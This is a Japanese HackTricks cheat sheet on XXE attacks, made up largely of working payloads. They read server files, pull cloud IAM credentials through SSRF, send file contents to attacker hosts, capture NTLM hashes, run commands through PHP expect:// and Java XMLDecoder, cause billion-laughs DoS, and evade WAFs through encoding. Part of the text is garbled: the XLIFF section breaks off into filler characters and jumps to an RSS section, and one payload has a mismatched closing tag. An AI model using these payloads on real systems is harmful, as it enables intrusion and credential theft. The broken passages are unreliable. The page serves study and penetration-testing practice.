XXE - XEE - XML External Entity

ゼロからヒーローまでAWSハッキングを学ぶ htARTE(HackTricks AWS Red Team Expert)!

HackTricks をサポートする他の方法:

XMLの基礎

XMLは、データの保存と転送を目的としたマークアップ言語であり、記述的な名前付きタグの使用を可能にする柔軟な構造を特徴としています。HTMLとは異なり、事前定義されたタグに制限されていない点が異なります。JSONの台頭に伴い、XMLの重要性は低下していますが、初期のAJAX技術での役割は大きかったです。

  • エンティティを通じたデータ表現: XMLのエンティティは、&lt;や&gt;のような特殊文字を含むデータの表現を可能にし、これらは<や>に対応してXMLのタグシステムとの競合を避けます。

  • XML要素の定義: XMLは要素タイプの定義を許可し、要素がどのように構造化され、どのようなコンテンツを含むかを明確にします。任意の種類のコンテンツから特定の子要素まで含めることができます。

  • Document Type Definition (DTD): DTDは、文書の構造とそれが含むデータの種類を定義するためにXMLで重要です。内部、外部、または組み合わせのDTDは、文書のフォーマットと検証方法を案内します。

  • カスタムおよび外部エンティティ: XMLは、柔軟なデータ表現のためにDTD内でカスタムエンティティの作成をサポートします。URLで定義された外部エンティティは、特にXML External Entity (XXE) 攻撃の文脈でセキュリティ上の懸念を引き起こします。これらはXMLパーサーが外部データソースを処理する方法を悪用する攻撃です: <!DOCTYPE foo [ <!ENTITY myentity "value" > ]>

  • パラメータエンティティを使用したXXEの検出: 通常の方法が失敗する場合、XMLパラメータエンティティを利用してXXEの脆弱性を検出することができます。これらのエンティティを使用すると、DNSルックアップのトリガーや制御されたドメインへのHTTPリクエストなどの帯域外検出技術を使用して脆弱性を確認できます。

  • <!DOCTYPE foo [ <!ENTITY ext SYSTEM "file:///etc/passwd" > ]>

  • <!DOCTYPE foo [ <!ENTITY ext SYSTEM "http://attacker.com" > ]>

主な攻撃

これらの攻撃のほとんどは、素晴らしいPortswiggers XEEラボを使用してテストされました: https://portswigger.net/web-security/xxe

新しいエンティティのテスト

この攻撃では、単純な新しいエンティティ宣言が機能するかどうかをテストします。

<?xml version="1.0" encoding="UTF-8"?>
<!DOCTYPE foo [<!ENTITY toreplace "3"> ]>
<stockCheck>
<productId>&toreplace;</productId>
<storeId>1</storeId>
</stockCheck>

ファイルの読み取り

さまざまな方法で /etc/passwd を読み取ってみましょう。Windows の場合は、C:\windows\system32\drivers\etc\hosts を読み取ることができます。

最初のケースでは、SYSTEM "**file:///**etc/passwd" も機能することに注意してください。

<!--?xml version="1.0" ?-->
<!DOCTYPE foo [<!ENTITY example SYSTEM "/etc/passwd"> ]>
<data>&example;</data>

この2番目のケースは、ウェブサーバーがPHPを使用している場合にファイルを抽出するのに役立ちます(Portswiggers labsの場合ではありません)

<!--?xml version="1.0" ?-->
<!DOCTYPE replace [<!ENTITY example SYSTEM "php://filter/convert.base64-encode/resource=/etc/passwd"> ]>
<data>&example;</data>

第3のケースでは、Element stockCheck を ANY として宣言していることに注意してください。

<?xml version="1.0" encoding="UTF-8"?>
<!DOCTYPE data [
<!ELEMENT stockCheck ANY>
<!ENTITY file SYSTEM "file:///etc/passwd">
]>
<stockCheck>
<productId>&file;</productId>
<storeId>1</storeId>
</stockCheck3>

ディレクトリリスト

Javaベースのアプリケーションでは、次のようなペイロードを使用してXXEを介してディレクトリの内容をリストアップすることができるかもしれません(ファイルではなくディレクトリを要求するだけです):

<!-- Root / -->
<?xml version="1.0" encoding="UTF-8"?><!DOCTYPE aa[<!ELEMENT bb ANY><!ENTITY xxe SYSTEM "file:///">]><root><foo>&xxe;</foo></root>

<!-- /etc/ -->
<?xml version="1.0" encoding="UTF-8"?><!DOCTYPE root[<!ENTITY xxe SYSTEM "file:///etc/" >]><root><foo>&xxe;</foo></root>

SSRF

XXEを使用してクラウド内でSSRFを悪用することができます

<?xml version="1.0" encoding="UTF-8"?>
<!DOCTYPE foo [ <!ENTITY xxe SYSTEM "http://169.254.169.254/latest/meta-data/iam/security-credentials/admin"> ]>
<stockCheck><productId>&xxe;</productId><storeId>1</storeId></stockCheck>

Blind SSRF

以前にコメントされたテクニックを使用すると、サーバーにアクセスして脆弱性を表示することができます。しかし、それがうまくいかない場合は、おそらくXMLエンティティが許可されていないためです。その場合は、XMLパラメータエンティティを使用してみることができます。

<?xml version="1.0" encoding="UTF-8"?>
<!DOCTYPE test [ <!ENTITY % xxe SYSTEM "http://gtd8nhwxylcik0mt2dgvpeapkgq7ew.burpcollaborator.net"> %xxe; ]>
<stockCheck><productId>3;</productId><storeId>1</storeId></stockCheck>

"Blind" SSRF - データの外部バンドへの持ち出し

この場合、サーバーに新しい悪意のあるペイロードを含むDTDを読み込ませ、ファイルの内容をHTTPリクエスト経由で送信することにより、データを持ち出します(複数行のファイルの場合は、例えばxxe-ftp-server.rbを使用して_ftp://_経由で持ち出すことができます)。この説明は、こちらのPortswiggerのラボに基づいています。

悪意のあるDTDが与えられた場合、データを持ち出すために以下の手順が実行されます:

悪意のあるDTDの例:

構造は以下の通りです:

<!ENTITY % file SYSTEM "file:///etc/hostname">
<!ENTITY % eval "<!ENTITY &#x25; exfiltrate SYSTEM 'http://web-attacker.com/?x=%file;'>">
%eval;
%exfiltrate;

以下は、このDTDによって実行される手順です:

  1. パラメータエンティティの定義:

    • XMLパラメータエンティティ %file が作成され、/etc/hostnameファイルの内容を読み込みます。

    • 別のXMLパラメータエンティティ %eval が定義されます。これは新しいXMLパラメータエンティティ %exfiltrate を動的に宣言します。%exfiltrate エンティティは、%file エンティティの内容をURLのクエリ文字列内で攻撃者のサーバーにHTTPリクエストするように設定されます。

  2. エンティティの実行:

    • %eval エンティティが使用され、%exfiltrate エンティティの動的宣言が実行されます。

    • %exfiltrate エンティティが使用され、ファイルの内容を含む指定されたURLにHTTPリクエストがトリガーされます。

攻撃者は、この悪意のあるDTDを通常 http://web-attacker.com/malicious.dtd のようなURLで自分の管理下のサーバーにホストします。

XXEペイロード: 脆弱なアプリケーションを悪用するために、攻撃者はXXEペイロードを送信します:

<?xml version="1.0" encoding="UTF-8"?>
<!DOCTYPE foo [<!ENTITY % xxe SYSTEM "http://web-attacker.com/malicious.dtd"> %xxe;]>
<stockCheck><productId>3;</productId><storeId>1</storeId></stockCheck>

このペイロードはXMLパラメータエンティティ%xxeを定義し、それをDTD内で組み込んでいます。XMLパーサーによって処理されると、このペイロードは攻撃者のサーバーから外部DTDを取得します。その後、パーサーはDTDをインラインで解釈し、悪意のあるDTDに記載された手順を実行し、/etc/hostnameファイルの情報漏洩が攻撃者のサーバーにリードされます。

エラーベース(外部DTD)

この場合、サーバーに悪意のあるDTDを読み込ませ、エラーメッセージ内にファイルの内容を表示させます(エラーメッセージを見ることができる場合のみ有効です)。 こちらの例から。

悪意のある外部Document Type Definition(DTD)を使用して、XMLパースエラーメッセージをトリガーし、/etc/passwdファイルの内容を明らかにすることができます。これは以下の手順によって達成されます:

  1. /etc/passwdファイルの内容を含むfileという名前のXMLパラメータエンティティが定義されます。

  2. 別のXMLパラメータエンティティerrorのための動的宣言を組み込んだevalという名前のXMLパラメータエンティティが定義されます。このerrorエンティティは評価されると、存在しないファイルを読み込もうとし、その名前としてfileエンティティの内容を組み込みます。

  3. evalエンティティが呼び出され、errorエンティティが動的に宣言されます。

  4. errorエンティティの呼び出しにより、存在しないファイルを読み込もうとする試みが行われ、/etc/passwdファイルの内容がファイル名の一部として含まれたエラーメッセージが生成されます。

悪意のある外部DTDは、以下のXMLで呼び出すことができます:

<?xml version="1.0" encoding="UTF-8"?>
<!DOCTYPE foo [<!ENTITY % xxe SYSTEM "http://web-attacker.com/malicious.dtd"> %xxe;]>
<stockCheck><productId>3;</productId><storeId>1</storeId></stockCheck>

エラーベース(system DTD)

では、アウトオブバンドインタラクションがブロックされている(外部接続が利用できない)場合の盲目的なXXE脆弱性はどうなるでしょうか?。

XML言語仕様の抜け穴により、ドキュメントのDTDが内部および外部の宣言を混在させたときにエラーメッセージを通じて機密データが公開される可能性があります。この問題により、外部で宣言されたエンティティを内部で再定義することが可能となり、エラーベースのXXE攻撃を実行できます。このような攻撃は、外部DTDで元々宣言されたXMLパラメータエンティティを内部DTD内から再定義することを利用します。サーバーによってアウトオブバンド接続がブロックされている場合、攻撃者は攻撃を実行するためにローカルDTDファイルに依存する必要があり、パーシングエラーを誘発して機密情報を公開することを目指します。

サーバーのファイルシステムに/usr/local/app/schema.dtdにあるDTDファイルが存在し、custom_entityという名前のエンティティが定義されているとします。攻撃者は、次のようにハイブリッドDTDを送信することで、/etc/passwdファイルの内容を公開するXMLパーシングエラーを誘発することができます:

<!DOCTYPE foo [
<!ENTITY % local_dtd SYSTEM "file:///usr/local/app/schema.dtd">
<!ENTITY % custom_entity '
<!ENTITY &#x25; file SYSTEM "file:///etc/passwd">
<!ENTITY &#x25; eval "<!ENTITY &#x26;#x25; error SYSTEM &#x27;file:///nonexistent/&#x25;file&#x27;>">
&#x25;eval;
&#x25;error;
'>
%local_dtd;
]>

以下の手順は、このDTDによって実行されます:

  • local_dtd という名前のXMLパラメータエンティティの定義に、サーバーのファイルシステムにある外部DTDファイルが含まれています。

  • 外部DTDで元々定義されていた custom_entity XMLパラメータエンティティの再定義が行われ、エラーベースのXXE攻撃をカプセル化するように設計されています。この再定義は、/etc/passwd ファイルの内容を公開するためにパースエラーを引き起こすようになっています。

  • local_dtd エンティティを使用することで、外部DTDが参照され、新たに定義された custom_entity が含まれます。これらのアクションの連続により、攻撃によって狙われるエラーメッセージが発生します。

実際の例: GNOMEデスクトップ環境を使用しているシステムでは、/usr/share/yelp/dtd/docbookx.dtd に ISOamso というエンティティが含まれています。

<?xml version="1.0" encoding="UTF-8"?>
<!DOCTYPE foo [
<!ENTITY % local_dtd SYSTEM "file:///usr/share/yelp/dtd/docbookx.dtd">
<!ENTITY % ISOamso '
<!ENTITY &#x25; file SYSTEM "file:///etc/passwd">
<!ENTITY &#x25; eval "<!ENTITY &#x26;#x25; error SYSTEM &#x27;file:///nonexistent/&#x25;file;&#x27;>">
&#x25;eval;
&#x25;error;
'>
%local_dtd;
]>
<stockCheck><productId>3;</productId><storeId>1</storeId></stockCheck>

このテクニックでは、内部DTDを使用するため、まず有効なDTDを見つける必要があります。これを行うには、サーバーが使用しているOS/ソフトウェアをインストールして、いくつかのデフォルトDTDを検索するか、システム内のデフォルトDTDのリストを取得して、存在するかどうかを確認することができます。

<!DOCTYPE foo [
<!ENTITY % local_dtd SYSTEM "file:///usr/share/yelp/dtd/docbookx.dtd">
%local_dtd;
]>

詳細についてはhttps://portswigger.net/web-security/xxe/blindをチェックしてください。

システム内のDTDの検出

次の素晴らしいgithubリポジトリでは、システム内に存在する可能性のあるDTDのパスを見つけることができます:

さらに、被害者システムのDockerイメージを持っている場合、同じリポジトリのツールを使用してイメージをスキャンし、システム内に存在するDTDのパスを見つけることができます。詳細についてはgithubのReadmeを参照してください。

java -jar dtd-finder-1.2-SNAPSHOT-all.jar /tmp/dadocker.tar

Scanning TAR file /tmp/dadocker.tar

[=] Found a DTD: /tomcat/lib/jsp-api.jar!/jakarta/servlet/jsp/resources/jspxml.dtd
Testing 0 entities : []

[=] Found a DTD: /tomcat/lib/servlet-api.jar!/jakarta/servlet/resources/XMLSchema.dtd
Testing 0 entities : []

Office Open XMLパーサーを介したXXE

この攻撃の詳細については、この素晴らしい投稿の2番目のセクションをチェックしてください。

多くのWebアプリケーションがMicrosoft Officeドキュメントのアップロード機能を提供し、その後これらのドキュメントから特定の詳細を抽出します。たとえば、Webアプリケーションは、ユーザーがXLSX形式のスプレッドシートをアップロードしてデータをインポートすることを許可するかもしれません。パーサーがスプレッドシートからデータを抽出するためには、少なくとも1つのXMLファイルを解析する必要があります。

この脆弱性をテストするためには、XXEペイロードを含むMicrosoft Officeファイルを作成する必要があります。最初のステップは、ドキュメントを解凍できる空のディレクトリを作成することです。

ドキュメントを解凍した後、./unzipped/word/document.xmlにあるXMLファイルを好みのテキストエディタ(たとえばvim)で開いて編集する必要があります。 XMLを変更して、通常はHTTPリクエストで始まる所望のXXEペイロードを含める必要があります。

変更されたXML行は、2つのルートXMLオブジェクトの間に挿入する必要があります。リクエスト用の監視可能なURLでURLを置換することが重要です。

最後に、ファイルをzip化して悪意のあるpoc.docxファイルを作成できます。以前に作成した「unzipped」ディレクトリから、次のコマンドを実行する必要があります:

これで、作成したファイルを潜在的に脆弱なWebアプリケーションにアップロードし、Burp Collaboratorログにリクエストが表示されることを期待できます。

Jar: プロトコル

jarプロトコルは、Javaアプリケーション内でのみアクセス可能です。これは、PKZIPアーカイブ(例:.zip、.jarなど)内のファイルアクセスを可能にするよう設計されており、ローカルおよびリモートファイルの両方に対応しています。

jar:file:///var/myarchive.zip!/file.txt
jar:https://download.host.com/myarchive.zip!/file.txt

PKZIPファイル内のファイルにアクセスできると、system DTDファイルを経由してXXEを悪用するのに非常に便利です。こちらのセクションをチェックして、system DTDファイルを悪用する方法を学んでください。

PKZIPアーカイブ内のファイルにアクセスするプロセスは、jarプロトコルを介していくつかのステップが関与します:

  1. 指定された場所からzipアーカイブをダウンロードするためにHTTPリクエストが行われます。例:https://download.website.com/archive.zip。

  2. アーカイブを含むHTTPレスポンスは一時的にシステムに保存され、通常は/tmp/...のような場所に保存されます。

  3. アーカイブはその内容にアクセスするために展開されます。

  4. アーカイブ内の特定のファイル、file.zipが読み取られます。

  5. このプロセス中に作成された一時ファイルは、操作の後に削除されます。

このプロセスを第2ステップで中断させる興味深いテクニックは、アーカイブファイルを提供する際にサーバー接続を無期限にオープンに保つことです。この目的のために利用できるツールには、Pythonサーバー(slow_http_server.py)やJavaサーバー(slowserver.jar)などが含まれています。このリポジトリで利用可能です。

<!DOCTYPE foo [<!ENTITY xxe SYSTEM "jar:http://attacker.com:8080/evil.zip!/evil.dtd">]>
<foo>&xxe;</foo>

一時ディレクトリにファイルを書き込むことは、ローカルファイルのインクルード、テンプレートインジェクション、XSLT RCE、逆シリアル化などの脆弱性をエスカレートさせるのに役立ちます。

XSS

<![CDATA[<]]>script<![CDATA[>]]>alert(1)<![CDATA[<]]>/script<![CDATA[>]]>

DoS

ビリオン・ラフ攻撃

<!DOCTYPE data [
<!ENTITY a0 "dos" >
<!ENTITY a1 "&a0;&a0;&a0;&a0;&a0;&a0;&a0;&a0;&a0;&a0;">
<!ENTITY a2 "&a1;&a1;&a1;&a1;&a1;&a1;&a1;&a1;&a1;&a1;">
<!ENTITY a3 "&a2;&a2;&a2;&a2;&a2;&a2;&a2;&a2;&a2;&a2;">
<!ENTITY a4 "&a3;&a3;&a3;&a3;&a3;&a3;&a3;&a3;&a3;&a3;">
]>
<data>&a4;</data>

Yaml攻撃

a: &a ["lol","lol","lol","lol","lol","lol","lol","lol","lol"]
b: &b [*a,*a,*a,*a,*a,*a,*a,*a,*a]
c: &c [*b,*b,*b,*b,*b,*b,*b,*b,*b]
d: &d [*c,*c,*c,*c,*c,*c,*c,*c,*c]
e: &e [*d,*d,*d,*d,*d,*d,*d,*d,*d]
f: &f [*e,*e,*e,*e,*e,*e,*e,*e,*e]
g: &g [*f,*f,*f,*f,*f,*f,*f,*f,*f]
h: &h [*g,*g,*g,*g,*g,*g,*g,*g,*g]
i: &i [*h,*h,*h,*h,*h,*h,*h,*h,*h]

二次の膨張攻撃

NTMLの取得

Windowsホストでは、responder.pyハンドラを設定することで、ウェブサーバーユーザーのNTMLハッシュを取得することが可能です。

Responder.py -I eth0 -v

そして、次のリクエストを送信することによって

<!--?xml version="1.0" ?-->
<!DOCTYPE foo [<!ENTITY example SYSTEM 'file://///attackerIp//randomDir/random.jpg'> ]>
<data>&example;</data>

隠されたXXEサーフェス

XInclude

サーバーサイドのXMLドキュメントにクライアントデータを統合する際、バックエンドのSOAPリクエストなどで、XML構造に対する直接的な制御がしばしば制限されるため、DOCTYPE要素の変更に制限がある場合、従来のXXE攻撃が妨げられることがあります。しかし、XInclude攻撃は、XMLドキュメントの任意のデータ要素内に外部エンティティを挿入することを可能にするため、解決策を提供します。この方法は、サーバーが生成したXMLドキュメント内のデータの一部のみを制御できる場合でも効果的です。

XInclude攻撃を実行するには、XInclude名前空間を宣言し、意図した外部エンティティのファイルパスを指定する必要があります。以下は、そのような攻撃をどのように構築できるかを簡潔に示した例です:

productId=<foo xmlns:xi="http://www.w3.org/2001/XInclude"><xi:include parse="text" href="file:///etc/passwd"/></foo>&storeId=1

Check https://portswigger.net/web-security/xxe for more info!

SVG - ファイルのアップロード

ユーザーが特定のアプリケーションにアップロードしたファイルは、サーバーで処理されることがあり、XMLまたはXMLを含むファイル形式の処理方法に脆弱性を悪用する可能性があります。オフィスドキュメント(DOCX)や画像(SVG)などの一般的なファイル形式は、XMLに基づいています。

ユーザーが画像をアップロードすると、これらの画像はサーバーサイドで処理または検証されます。PNGやJPEGなどの形式を期待しているアプリケーションでも、サーバーの画像処理ライブラリはSVG画像もサポートしているかもしれません。XMLベースのフォーマットであるSVGは、攻撃者が悪意のあるSVG画像を送信して、サーバーをXXE(XML External Entity)の脆弱性にさらすことができます。

以下は、悪意のあるSVG画像がシステムファイルを読み取ろうとする例です:

<svg xmlns="http://www.w3.org/2000/svg" xmlns:xlink="http://www.w3.org/1999/xlink" width="300" version="1.1" height="200"><image xlink:href="file:///etc/hostname"></image></svg>

別の方法は、PHPの「expect」ラッパーを介してコマンドを実行しようとすることです:

<svg xmlns="http://www.w3.org/2000/svg" xmlns:xlink="http://www.w3.org/1999/xlink" width="300" version="1.1" height="200">
<image xlink:href="expect://ls"></image>
</svg>

両方のインスタンスで、SVG形式が使用され、サーバーソフトウェアのXML処理機能を悪用する攻撃が発生するため、堅牢な入力検証とセキュリティ対策の必要性が強調されます。

詳細については、https://portswigger.net/web-security/xxe をチェックしてください!

注:ファイルの最初の行または実行結果の最初の行は、作成された画像の内部に表示されます。したがって、SVGが作成した画像にアクセスできる必要があります。

PDF - ファイルのアップロード

次の投稿を読んで、PDFファイルをアップロードしてXXEを悪用する方法を学んでください:

PDF Upload - XXE and CORS bypass

Content-Type: x-www-urlencodedからXMLへ

POSTリクエストがXML形式のデータを受け入れる場合、そのリクエストでXXEを悪用しようとすることができます。たとえば、通常のリクエストに次の内容が含まれている場合:

POST /action HTTP/1.0
Content-Type: application/x-www-form-urlencoded
Content-Length: 7

foo=bar

その後、同じ結果を得るために、次のリクエストを送信できるかもしれません:

POST /action HTTP/1.0
Content-Type: text/xml
Content-Length: 52

<?xml version="1.0" encoding="UTF-8"?><foo>bar</foo>

Content-Type: JSON から XEE へ

リクエストを変更するには、Content Type Converter という Burp 拡張機能を使用できます。こちら にこの例があります。

Content-Type: application/json;charset=UTF-8

{"root": {"root": {
"firstName": "Avinash",
"lastName": "",
"country": "United States",
"city": "ddd",
"postalCode": "ddd"
}}}
Content-Type: application/xml;charset=UTF-8

<?xml version="1.0" encoding="UTF-8" standalone="no"?>
<!DOCTYPE testingxxe [<!ENTITY xxe SYSTEM "http://34.229.92.127:8000/TEST.ext" >]>
<root>
<root>
<firstName>&xxe;</firstName>
<lastName/>
<country>United States</country>
<city>ddd</city>
<postalCode>ddd</postalCode>
</root>
</root>

別の例はこちらにあります。

WAF & Protections Bypasses

Base64

<!DOCTYPE test [ <!ENTITY % init SYSTEM "data://text/plain;base64,ZmlsZTovLy9ldGMvcGFzc3dk"> %init; ]><foo/>

これは、XMLサーバーがdata://プロトコルを受け入れる場合にのみ機能します。

UTF-7

["Encode Recipe" of cyberchef here ]([https://gchq.github.io/CyberChef/#recipe=Encode_text%28'UTF-7 %2865000%29'%29&input=PCFET0NUWVBFIGZvbyBbPCFFTlRJVFkgZXhhbXBsZSBTWVNURU0gIi9ldGMvcGFzc3dkIj4gXT4KPHN0b2NrQ2hlY2s%2BPHByb2R1Y3RJZD4mZXhhbXBsZTs8L3Byb2R1Y3RJZD48c3RvcmVJZD4xPC9zdG9yZUlkPjwvc3RvY2tDaGVjaz4)to]([https://gchq.github.io/CyberChef/#recipe=Encode_text%28'UTF-7 %2865000%29'%29&input=PCFET0NUWVBFIGZvbyBbPCFFTlRJVFkgZXhhbXBsZSBTWVNURU0gIi9ldGMvcGFzc3dkIj4gXT4KPHN0b2NrQ2hlY2s%2BPHByb2R1Y3RJZD4mZXhhbXBsZTs8L3Byb2R1Y3RJZD48c3RvcmVJZD4xPC9zdG9yZUlkPjwvc3RvY2tDaGVjaz4%29to)) でUTF-7に変換できます。

<!xml version="1.0" encoding="UTF-7"?-->
+ADw-+ACE-DOCTYPE+ACA-foo+ACA-+AFs-+ADw-+ACE-ENTITY+ACA-example+ACA-SYSTEM+ACA-+ACI-/etc/passwd+ACI-+AD4-+ACA-+AF0-+AD4-+AAo-+ADw-stockCheck+AD4-+ADw-productId+AD4-+ACY-example+ADs-+ADw-/productId+AD4-+ADw-storeId+AD4-1+ADw-/storeId+AD4-+ADw-/stockCheck+AD4-
<?xml version="1.0" encoding="UTF-7"?>
+ADwAIQ-DOCTYPE foo+AFs +ADwAIQ-ELEMENT foo ANY +AD4
+ADwAIQ-ENTITY xxe SYSTEM +ACI-http://hack-r.be:1337+ACI +AD4AXQA+
+ADw-foo+AD4AJg-xxe+ADsAPA-/foo+AD4

ファイル:/ プロトコル バイパス

Web が PHP を使用している場合、file:/ の代わりに php wrappersphp://filter/convert.base64-encode/resource= を使用して 内部ファイルにアクセス できます。

Web が Java を使用している場合は、jar: プロトコル をチェックできます。

HTML エンティティ

https://github.com/Ambrotd/XXE-Notes からのトリック エンティティ内にエンティティ を作成し、html エンティティ でエンコードしてから dtd を読み込む ことができます。 使用される HTML エンティティ は 数値 である必要があることに注意してください(この例のように [in this example](https://gchq.github.io/CyberChef/#recipe=To_HTML_Entity%28true,'Numeric entities'%29&input=PCFFTlRJVFkgJSBkdGQgU1lTVEVNICJodHRwOi8vMTcyLjE3LjAuMTo3ODc4L2J5cGFzczIuZHRkIiA%2B)\)。

<?xml version="1.0" encoding="UTF-8"?><!DOCTYPE foo [<!ENTITY % a "&#x3C;&#x21;&#x45;&#x4E;&#x54;&#x49;&#x54;&#x59;&#x25;&#x64;&#x74;&#x64;&#x53;&#x59;&#x53;&#x54;&#x45;&#x4D;&#x22;&#x68;&#x74;&#x74;&#x70;&#x3A;&#x2F;&#x2F;&#x6F;&#x75;&#x72;&#x73;&#x65;&#x72;&#x76;&#x65;&#x72;&#x2E;&#x63;&#x6F;&#x6D;&#x2F;&#x62;&#x79;&#x70;&#x61;&#x73;&#x73;&#x2E;&#x64;&#x74;&#x64;&#x22;&#x3E;" >%a;%dtd;]>
<data>
<env>&exfil;</env>
</data>

DTDの例:

<!ENTITY % data SYSTEM "php://filter/convert.base64-encode/resource=/flag">
<!ENTITY % abt "<!ENTITY exfil SYSTEM 'http://172.17.0.1:7878/bypass.xml?%data;'>">
%abt;
%exfil;

PHP ラッパー

Base64

抽出 index.php

<!DOCTYPE replace [<!ENTITY xxe SYSTEM "php://filter/convert.base64-encode/resource=index.php"> ]>

外部リソースの抽出

<!DOCTYPE replace [<!ENTITY xxe SYSTEM "php://filter/convert.base64-encode/resource=http://10.0.0.3"> ]>

リモートコード実行

PHPの"expect"モジュールがロードされている場合

<?xml version="1.0" encoding="ISO-8859-1"?>
<!DOCTYPE foo [ <!ELEMENT foo ANY >
<!ENTITY xxe SYSTEM "expect://id" >]>
<creds>
<user>&xxe;</user>
<pass>mypass</pass>
</creds>

SOAP - XEE

<soap:Body><foo><![CDATA[<!DOCTYPE doc [<!ENTITY % dtd SYSTEM "http://x.x.x.x:22/"> %dtd;]><xxx/>]]></foo></soap:Body>

XLIFF - XXE

この例は、https://pwn.vg/articles/2021-06/local-file-read-via-error-based-xxeを参考にしています。

XLIFF(XML Localization Interchange File Format)は、ローカライゼーションプロセスでのデータ交換を標準化するために使用されます。これは、主にローカライゼーション中にツール間でローカライズ可能なデータを転送するために使用されるXMLベースの形式であり、CAT(Computer-Aided Translation)ツールの共通の交換形式としても使用されます。

Blind Request Analysis

次の内容でサーバーにリクエストが行われます:

------WebKitFormBoundaryqBdAsEtYaBjTArl3
Content-Disposition: form-data; name="file"; filename="xxe.xliff"
Content-Type: application/x-xliff+xml

<?xml version="1.0" encoding="UTF-8"?>
<!DOCTYPE XXE [
<!ENTITY % remote SYSTEM "http://redacted.burpcollaborator.net/?xxe_test"> %remote; ]>
<xliff srcLang="en" trgLang="ms-MY" version="2.0"></xliff>
------WebKitFormBoundaryqBdAsEtYaBjTArl3--

しかし、このリクエストは内部サーバーエラーを引き起こし、具体的にはマークアップ宣言に問題があると言及しています:

{"status":500,"error":"Internal Server Error","message":"Error systemId: http://redacted.burpcollaborator.net/?xxe_test; The markup declarations contained or pointed to by the document type declaration must be well-formed."}

エラーが発生したにもかかわらず、外部エンティティとのある程度のやり取りがあることを示すBurp Collaboratorにヒットが記録されます。

データの帰送外部バンドデータを帰送するために、修正されたリクエストが送信されます:

------WebKitFormBoundaryqBdAsEtYaBjTArl3
Content-Disposition: form-data; name="file"; filename="xxe.xliff"
Content-Type: application/x-xliff+xml

<?xml version="1.0" encoding="UTF-8"?>
<!DOCTYPE XXE [
<!ENTITY % remote SYSTEM "http://attacker.com/evil.dtd"> %remote; ]>
<xliff srcLang="en" trgLang="ms-MY" version="2.0"></xliff>
------WebKitFormBoundaryqBdAsEtYaBjTArl3--

このアプローチにより、User AgentがJava 1.8の使用を示していることが明らかになります。このJavaのバージョンの注目すべき制限事項は、改行文字を含むファイル(例:/etc/passwd)をOut of Bandテクニックを使用して取得できないことです。

エラーベースのデータエクスフィルトレーション この制限を克服するために、エラーベースのアプローチが採用されます。次のようにDTDファイルが構造化され、ターゲットファイルからデータを含むエラーがトリガーされます:

<!ENTITY % data SYSTEM "file:///etc/passwd">
<!ENTITY % foo "<!ENTITY &#37; xxe SYSTEM 'file:///nofile/'>">
%foo;
%xxe;

サーバーはエラーで応答し、重要なのは存在しないファイルを反映しており、サーバーが指定されたファイルにアクセスしようとしていることを示しています。

{"status":500,"error":"Internal Server Error","message":"IO error.\nReason: /nofile (No such file or directory)"}

ファイルの内容をエラーメッセージに含めるために、DTDファイルを調整します:

<!ENTITY % data SYSTEM "file:///etc/passwd">
<!ENTITY % foo "<!ENTITY &#37; xxe SYSTEM 'file:///nofile/%data;'>">
%foo;
%xxe;

この変更により、ファイルの内容が成功裏に外部流出され、HTTP経由で送信されるエラー出力に反映されます。これは、感​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​

<?xml version="1.0" encoding="UTF-8"?>
<!DOCTYPE title [ <!ELEMENT title ANY >
<!ENTITY xxe SYSTEM "http://<AttackIP>/rssXXE" >]>
<rss version="2.0" xmlns:atom="http://www.w3.org/2005/Atom">
<channel>
<title>XXE Test Blog</title>
<link>http://example.com/</link>
<description>XXE Test Blog</description>
<lastBuildDate>Mon, 02 Feb 2015 00:00:00 -0000</lastBuildDate>
<item>
<title>&xxe;</title>
<link>http://example.com</link>
<description>Test Post</description>
<author>author@example.com</author>
<pubDate>Mon, 02 Feb 2015 00:00:00 -0000</pubDate>
</item>
</channel>
</rss>

ファイルの読み取り

<?xml version="1.0" encoding="UTF-8"?>
<!DOCTYPE title [ <!ELEMENT title ANY >
<!ENTITY xxe SYSTEM "file:///etc/passwd" >]>
<rss version="2.0" xmlns:atom="http://www.w3.org/2005/Atom">
<channel>
<title>The Blog</title>
<link>http://example.com/</link>
<description>A blog about things</description>
<lastBuildDate>Mon, 03 Feb 2014 00:00:00 -0000</lastBuildDate>
<item>
<title>&xxe;</title>
<link>http://example.com</link>
<description>a post</description>
<author>author@example.com</author>
<pubDate>Mon, 03 Feb 2014 00:00:00 -0000</pubDate>
</item>
</channel>
</rss>

ソースコードを読む

PHPのbase64フィルターを使用

<?xml version="1.0" encoding="UTF-8"?>
<!DOCTYPE title [ <!ELEMENT title ANY >
<!ENTITY xxe SYSTEM "php://filter/convert.base64-encode/resource=file:///challenge/web-serveur/ch29/index.php" >]>
<rss version="2.0" xmlns:atom="http://www.w3.org/2005/Atom">
<channel>
<title>The Blog</title>
<link>http://example.com/</link>
<description>A blog about things</description>
<lastBuildDate>Mon, 03 Feb 2014 00:00:00 -0000</lastBuildDate>
<item>
<title>&xxe;</title>
<link>http://example.com</link>
<description>a post</description>
<author>author@example.com</author>
<pubDate>Mon, 03 Feb 2014 00:00:00 -0000</pubDate>
</item>
</channel>
</rss>

Java XMLDecoder XEE to RCE

XMLDecoderは、XMLメッセージに基づいてオブジェクトを作成するJavaクラスです。悪意のあるユーザーがアプリケーションに任意のデータを使用させてreadObjectメソッドを呼び出すことができれば、サーバーでコードを実行できます。

Runtime().exec()を使用

<?xml version="1.0" encoding="UTF-8"?>
<java version="1.7.0_21" class="java.beans.XMLDecoder">
<object class="java.lang.Runtime" method="getRuntime">
<void method="exec">
<array class="java.lang.String" length="6">